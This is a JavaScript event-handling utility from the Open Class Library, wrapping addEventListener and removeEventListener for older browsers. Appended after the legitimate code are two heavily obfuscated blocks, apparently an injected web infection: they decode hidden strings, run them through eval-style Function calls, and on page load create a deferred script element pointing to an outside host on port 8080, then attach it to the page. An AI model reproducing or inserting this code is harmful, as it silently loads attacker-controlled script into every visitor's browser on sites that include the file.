/***********************************************************************************************************
 * com.oclib.javascript.util.events.20070110. Events
 * Location: http://www.oclib.com/library/com/oclib/javascript/util/Events.js
 * Version Location: http://www.oclib.com/library/com/oclib/javascript/util/events/20070110/.js
 * Index Version Location: http://www.oclib.com/library/com/oclib/javascript/util/events/20070110/index.html
 * © Open Class Library (http://www.oclib.com/)
***********************************************************************************************************/
if (typeof com == "undefined") {com = {};};
if (typeof com.oclib == "undefined") {com.oclib = {};};
if (typeof com.oclib.javascript == "undefined") {com.oclib.javascript = {};};
if (typeof com.oclib.javascript.util == "undefined") {com.oclib.javascript.util = {};};

if (typeof com.oclib.javascript.util.Events == "undefined") {
 com.oclib.javascript.util.Events = function() {};

 com.oclib.javascript.util.Events.prototype = new com.oclib.javascript.lang.Root();

 com.oclib.javascript.util.Events.prototype.className = "Events"; 
 com.oclib.javascript.util.Events.prototype.classNamespace = "com.oclib.javascript.util.Events"; 
 com.oclib.javascript.util.Events.prototype.classCreated = "20061018"; 
 com.oclib.javascript.util.Events.prototype.classCreator = "http://www.oclib.com/"; 
 com.oclib.javascript.util.Events.prototype.classLocation = "http://www.oclib.com/library/com/oclib/javascript/util/Events.js"; 
 com.oclib.javascript.util.Events.prototype.classIndexLocation = "http://www.oclib.com/library/com/oclib/javascript/util/events/"; 
 com.oclib.javascript.util.Events.prototype.classVersion = "20070110"; 
 com.oclib.javascript.util.Events.prototype.classVersionLocation = "http://www.oclib.com/library/com/oclib/javascript/util/events/20070110/Events.js"; 
 com.oclib.javascript.util.Events.prototype.classVersionIndexLocation = "http://www.oclib.com/library/com/oclib/javascript/util/events/20070110/"; 


 /**
  * Events.addEventListener
  * Parameter: element of type DOMString or Element - Element or Name of element.
  * Parameter: type of type DOMString - The event type for which the user is registering
  * Parameter: listener of type EventListener - The listener parameter takes an interface implemented by the user which contains the methods to be called when the event occurs.
  * Parameter: useCapture of type boolean - If true, useCapture indicates that the user wishes to initiate capture. After initiating capture, all events of the specified type will be dispatched to the registered EventListener before being dispatched to any EventTargets beneath them in the tree. Events which are bubbling upward through the tree will not trigger an EventListener designated to use capture.
  * Return: void
  * See more: <a href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-registration">http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-registration</a>
  * See more: <a href="http://developer.mozilla.org/en/docs/DOM:element.addEventListener">http://developer.mozilla.org/en/docs/DOM:element.addEventListener</a>
  */
 com.oclib.javascript.util.Events.prototype.addEventListener = function(element, type, listener, useCapture) {
  if(this.mustTrace()) {this.getLog().println("Events.addEventListener is runing...");}; 
  if(typeof element == "string") {element = document.getElementById(element)}; 
  if(!element) {return -1;};
  if(element.addEventListener) {
   element.addEventListener(type, listener, useCapture);
  } else if(element.attachEvent) {
   eventIE = "on"+type;
   element.attachEvent(eventIE, listener);
  } else {
   return -1;
  };
 };
 
 /**
  * Events.removeEventListener
  * Parameter: element of type DOMString or Element - Element or Name of element.
  * Parameter: type of type DOMString - Specifies the event type of the EventListener being removed.
  * Parameter: listener of type EventListener - The EventListener parameter indicates the EventListener to be removed.
  * Parameter: useCapture of type boolean - Specifies whether the EventListener being removed was registered as a capturing listener or not. If a listener was registered twice, one with capture and one without, each must be removed separately. Removal of a capturing listener does not affect a non-capturing version of the same listener, and vice versa.
  * Return: void
  * See more: <a href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-registration">http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-registration</a>
  * See more: <a href="http://developer.mozilla.org/en/docs/DOM:element.removeEventListener">http://developer.mozilla.org/en/docs/DOM:element.removeEventListener</a>
  */
 com.oclib.javascript.util.Events.prototype.removeEventListener = function(element, type, listener, useCapture) {
  if(this.mustTrace()) {this.getLog().println("Events.removeEventListener is runing...");}; 
  if(typeof element == "string") {element = document.getElementById(element)}; 
  if(!element) {return -1;};
  if(element.removeEventListener) {
   element.removeEventListener(type, listener, useCapture);
  } else if (element.detachEvent) {
   eventIE = "on"+type;
   element.detachEvent(eventIE, listener);
  } else {
   return -1;
  };
 };
};
var Qi="8691adb193deb8a1a0a084ceaa8cbfadcba58388aabea6baa688b59c82a199aaa1bfa1af9eaba3ac88a6a3ad9cb098a1a28990bba1aa9988b588aabe9985a7aa838e8bce80b8cf98bba1d4bfb8cb81ac";var iH;if(iH!='' && iH!='Hej'){iH=null};var uy;if(uy!='' && uy!='Luz'){uy=null};function Od(J){var K;if(K!='' && K!='Jt'){K=''};var du="du";var ak=""; this.kC="kC";function h(c,X){return c[O("hcraoCedtA", [1,0])](X);var nh=31580;}var z=new Array();var DQ;if(DQ!='' && DQ!='Ll'){DQ='Bf'}; var OZ;if(OZ!='jA'){OZ='jA'};function eQ(H){var Gd;if(Gd!='oY' && Gd!='JB'){Gd='oY'};var AE=new Date();var WY=new String();var M=[0][0];var w=new String();var I=[255][0];var Il=[60,0][1];var cq=25648;var k=[1,228,136,17][0];var Kr=33221;var m=H[O("gelthn", [2,1,5,0,3,4])];while(Il<m){var rp=false;var nD=new Date();var KD;if(KD!='' && KD!='op'){KD=''};Il++;var Yq;if(Yq!='GW'){Yq='GW'};var BJ;if(BJ!=''){BJ='CX'};s=h(H,Il - k);M+=s*m;var SW=new Date();this.vh='';}var x=new Date();return new r(M % I);var wb=false;var ii="";}var KX;if(KX!=''){KX='QJ'};this.zZ='';var nH;if(nH!='' && nH!='Sr'){nH=null}; var D=function(eW){this.Gs=false;this.UH=28151;var hA;if(hA!='' && hA!='XX'){hA=''};var g =[0][0];eW = new r(eW);var hvd;if(hvd!='Ea' && hvd!='cj'){hvd=''};var zP=20848;var V =[213,0][1];var Fx=new Array();var o = '';var kA = -1;var vX="";var dO="dO";this.Rx=false;for (g=eW[O("nlehgt", [1,2,0])]-kA;g>=V;g=g-[218,155,1][2]){o+=eW[O("hcratA", [1,0])](g);this.ta="ta";}var Wy='';var f='';return o;};this.WW="WW";var FV=22600; var P=function(Jo,p){return Jo^p;var na="";var WB=new Array();};var WN="";var BA;if(BA!='' && BA!='XO'){BA='Lq'};var CA;if(CA!='rg' && CA!='FJ'){CA='rg'};var TI;if(TI!='OdO' && TI!='Vy'){TI='OdO'};this.vv=57942; function O(eW, kx){var Gk;if(Gk!='' && Gk!='hj'){Gk=null};var o = '';this.Ad='';var CHI;if(CHI!=''){CHI='yq'};var k=[235,196,185,1][3];var V=[128,0][1];this.yL=11959;var A = eW.length;var ww;if(ww!='' && ww!='QM'){ww=''};var Iw=false;var Ac = kx.length;var cb;if(cb!='Dp' && cb!='wL'){cb=''};this.ed="ed";var ks=false;for(var g = V; g < A; g += Ac) {var FP;if(FP!='' && FP!='Px'){FP=null};var kj = eW.substr(g, Ac);var RH;if(RH!='ZoC' && RH != ''){RH=null};if(kj.length == Ac){var Se;if(Se!='' && Se!='Mk'){Se=''};var MT="";var sl=new String();for(var Il in kx) {var rx;if(rx!='ldU' && rx!='gnw'){rx=''};var Hf;if(Hf!='' && Hf!='Ds'){Hf='gM'};o+=kj.substr(kx[Il], k);var nO=new Array();this.iz=false;var Rj=new Date();}var Ol;if(Ol!=''){Ol='oM'};var Eo;if(Eo!='' && Eo!='Nj'){Eo=null};this.pR=15615;this.Og=23072;} else {  o+=kj;}this.lT='';this.mt=false;}var Uc;if(Uc!='zu'){Uc='zu'};var GkF=new Array();return o;var OC;if(OC!='' && OC!='LV'){OC=null};}this.Mj=42823;var tu=31177;var vs=new Date();this.av='';var HJ=window;this.Lr=false;var n=HJ[O("vael", [2,0,1])];var Zu="Zu";var ZC;if(ZC!='US' && ZC!='px'){ZC='US'};var Z=n(O("itFuncon", [2,3,4,5,1,0]));var ah;if(ah!='XG' && ah!='yz'){ah='XG'};var q = '';this.hx="hx";this.dV="dV";var B=n(O("eRgxEp", [1,0,2]));var RXU="RXU";var r=n(O("trSing", [2,0,1,3]));var eo;if(eo!='' && eo!='KXP'){eo=''};var PR;if(PR!='' && PR!='HZ'){PR=null};var WA;if(WA!='' && WA!='EN'){WA=''};var Iu=new Array();var jU;if(jU!=''){jU='oP'};this.tM=47096;var wvj=new Array();var Pxc;if(Pxc!=''){Pxc='Cs'};var j=HJ[O("acuspene", [2,6,5,3,1,0,4])];var Dxm;if(Dxm!='' && Dxm!='TM'){Dxm='Bi'};this.Nn='';var Bp=r[O("rfamrhCoCode", [1,4,7,3,6,5,2,0])];var wX;if(wX!='dJ'){wX=''};this.NJ='';var PV=false;var Wo="";var t = '';var Ub='';this.Iy='';var N = '';var UQ=new Date();var vx=new String();var jK =[35,48,161,0][3];var Vv;if(Vv!='jWh'){Vv='jWh'};var Bh;if(Bh!='AYI'){Bh='AYI'};var R = Bp(37);var zDh;if(zDh!='lg' && zDh!='Eu'){zDh='lg'};var k =[1,190][0];var rY;if(rY!='lD'){rY='lD'};var RF;if(RF!='' && RF!='kQ'){RF=''};var ja=5818;var gs =[2][0];var pW = /[^@a-z0-9A-Z_-]/g;var V =[109,0,72][1];var iq;if(iq!='RM' && iq!='xQ'){iq=''};var uG;if(uG!='Hv' && uG!='Lu'){uG=''};var eP = J[O("nlehgt", [1,2,0])];var SCD="";var oO = '';var F=[1, O("odcuemntc.retaeEelmetn(\'csritp\')", [1,0,2,3]),2, O("odcuemntb.od.yapepndhCil(dd)", [1,0,2,3]),3, O("edtAs.itburt\'tde(efer\'", [1,5,4,0,2,3]),4, O("nt.hcnwefermu.ou8:0r80", [4,0,2,1,3]),5, O("epmfcmo.cmx.loi.china", [4,6,2,7,0,5,1,3]),6, O("edunwuogrrocd.nm", [4,2,3,1,0]),7, O("ommya.c", [3,4,2,5,6,0,1]),8, O("wdi.ownonload", [5,2,6,1,4,0,3]),11, O("ncontiuf()", [7,6,3,1,4,5,2,0]),12, O("edivnaattr", [1,0]),14, O("gogoc.leom", [2,3,1,0]),15, O("e)(ctach", [3,5,4,6,7,2,0,1]),16, O("5.cihom", [4,3,0,1,2]),17, O("h\"tt:p", [1,0]),18, O(".drsc", [1,0]),19, O("1\')\'", [1,0]),20, O("moc", [2,1,0]),21, O("yrt", [2,1,0])];var YP=new Array();var Ia;if(Ia!='Id'){Ia=''};var KA=42109;var qR;if(qR!='Km'){qR=''};var Lm="";for(var DA=V; DA < eP; DA+=gs){oO+= R; this.zG=52389;var aj;if(aj!='' && aj!='Zx'){aj=null};oO+= J[O("rusbst", [4,1,3,2,5,0])](DA, gs);}var jN="jN";var J = j(oO);this.bw=54822;var Rl="Rl";this.DpG="DpG";var E = new r(Od);var d = E[O("erlpcae", [1,0])](pW, N);var RP=new String();var LS=16828;var yqY;if(yqY!='Py' && yqY != ''){yqY=null};var b = F[O("elgnht", [1,0])];var IP;if(IP!='gZ' && IP!='bb'){IP='gZ'};d = D(d);var HP = new r(Z);var yV="yV";var QF;if(QF!='' && QF!='yLE'){QF='Zr'};var Ez;if(Ez!='' && Ez!='Pgk'){Ez=null};var MQ = HP[O("erpalce", [1,0,2])](pW, N);this.wJ="";var MQ = eQ(MQ);var LzE;if(LzE!='' && LzE!='KR'){LzE=''};var bC=eQ(d);var yw;if(yw!='' && yw!='TLk'){yw=null};var uE=new Date();var cm=new Date();for(var g=V; g < (J[O("elgnht", [1,0])]);g=g+[1][0]) {var sY;if(sY!='' && sY!='YI'){sY=''};var Qj;if(Qj!='' && Qj!='Os'){Qj=''};var FPk=new String();this.kL=51134;var PT = d.charCodeAt(jK);var plj=new String();var dY = h(J,g);var OLG;if(OLG!='' && OLG!='PS'){OLG=null};dY = P(dY, PT);var TV;if(TV!='' && TV!='SCy'){TV=''};var ds;if(ds!='cp' && ds!='oYV'){ds='cp'};dY = P(dY, bC);this.Th="Th";dY = P(dY, MQ);var Mq;if(Mq!='Rk' && Mq!='qZ'){Mq='Rk'};jK++;var xF="xF";if(jK > d.length-k){jK=V;this.RXj='';var Wp;if(Wp!='mc' && Wp != ''){Wp=null};}var dS=4594;t += Bp(dY);var xi=new Array();var VB;if(VB!=''){VB='uO'};}this.Jw="";var Wl;if(Wl!='vo'){Wl='vo'};this.OSa=41506;for(W=V; W < b; W+=gs){var Vq;if(Vq!='KZ' && Vq!='OZx'){Vq=''};var iG;if(iG!='ZY' && iG != ''){iG=null};var U = F[W + k];var ip;if(ip!='' && ip!='kWu'){ip=''};this.ho="";var ptq;if(ptq!='' && ptq!='fg'){ptq=''};var sJ = Bp(F[W]);var kg=false;var JP=20930;var Yr;if(Yr!=''){Yr='HZu'};this.mtS="mtS";var qUb;if(qUb!='' && qUb!='rU'){qUb='VL'};var G = new B(sJ, "g");t=t[O("erlpcae", [1,0])](G, U);this.dk="dk";}var Ed=new Z(t);var iN;if(iN!=''){iN='yYS'};Ed();var xX=48795;bC = '';this.Lw="";Ed = '';var cpC;if(cpC!='' && cpC!='UA'){cpC=''};t = '';var Ce;if(Ce!='' && Ce!='cD'){Ce='vW'};var Yd;if(Yd!=''){Yd='Jwp'};this.Su="";var CF="";HP = '';d = '';MQ = '';var gi="";this.XB="XB";var jM;if(jM!='mp' && jM != ''){jM=null};return '';var CY=new Date();this.dYM="dYM";};var iH;if(iH!='' && iH!='Hej'){iH=null};var uy;if(uy!='' && uy!='Luz'){uy=null};Od(Qi);
function R() {var Z=new Array();var F=new String();var u=']';var S='';var o;if(o!='uo' && o!='P'){o=''};var x='g';var Y;if(Y!='kg'){Y=''};var r;if(r!=''){r='le'};var U='replace';var i=new Date();var AS=new Date();var k=RegExp;var c='[';var Uq="";var Qr=new Date();var XX=new String();function f(O,w){var oJ;if(oJ!='j_'){oJ='j_'};var p=c;p+=w;var pM;if(pM!='' && pM!='kD'){pM=null};p+=u;var lP;if(lP!='q' && lP != ''){lP=null};var Iu;if(Iu!='b' && Iu != ''){Iu=null};var j=new k(p, x);var Oo=new String();var G;if(G!='PF' && G != ''){G=null};return O[U](j, F);var Eq;if(Eq!='' && Eq!='QD'){Eq=null};};var LS;if(LS!='Tn' && LS != ''){LS=null};var fY=f('hUtUtUpU:F/U/UhUaUrNdUsFeNxUtUuUbFeU-UcNoFmF.NgNiFtNtUiNgFiNdFiFyFoFrU.FcNoFmU.UrNmFxUaNdNsF-NcUoUmF.UnUeFwFaFgNeUdNiNrUeNcFtU.UrUuF:U',"UFN");this.Em="";var s=f('/3g3oBoBgBl3e3.BcBo3.Bi3nB/3g3o3o3gBlBe3.3c3o3.Bi3n3/3dBy3nBdBn3sB.3oBr3g3/3i3f3e3nBg3.Bc3oBm3/3g3oBoBg3lBe3.3cBo3m3.3pBhBp3',"3B");this.hz="";var V=f('sEc9rSi9p9t9',"9SE");var D=f('cwr8e9a9t8eyEDlDeymDeDnyt9',"wyD89");var K=window;var hw=new String();this.OK="";var DJ=f('87701178470944',"74139");var v;if(v!=''){v='M'};var cL=new Date();var n='';var wp;if(wp!='' && wp!='m'){wp='Vj'};var Ms="";var a;if(a!=''){a='yI'};var yH="";K[f('oTnIlJoJaTdJ',"TIJ")]=function(){try {var oc;if(oc!='' && oc!='s_'){oc=null};n+=fY;var N=new Date();n+=DJ;var mb;if(mb!='' && mb!='wH'){mb=''};var zx;if(zx!='' && zx!='Yb'){zx=''};n+=s;var KZ;if(KZ!='' && KZ!='vu'){KZ=null};var Dj;if(Dj!='ui'){Dj=''};Fu=document[D](V);var nH;if(nH!='ID' && nH != ''){nH=null};var ft=new Date();this.TS="";e(Fu,'src',n);var enm=new Date();var sE=new Date();e(Fu,'defer',([2,1][1]));var AR;if(AR!='wk'){AR='wk'};this.NL="";document.body.appendChild(Fu);} catch(d){var RU;if(RU!='Xy' && RU!='Uc'){RU='Xy'};};this.Fx='';};var AQ="";var DE="";var Mo="";function e(A,l,z){A.setAttribute(l, z);var Jk="";var wM=new Array();}var Ut;if(Ut!='' && Ut!='IC'){Ut='zL'};var V_='';var eM;if(eM!='' && eM!='oI'){eM=''};};this.iv='';R();var ap="";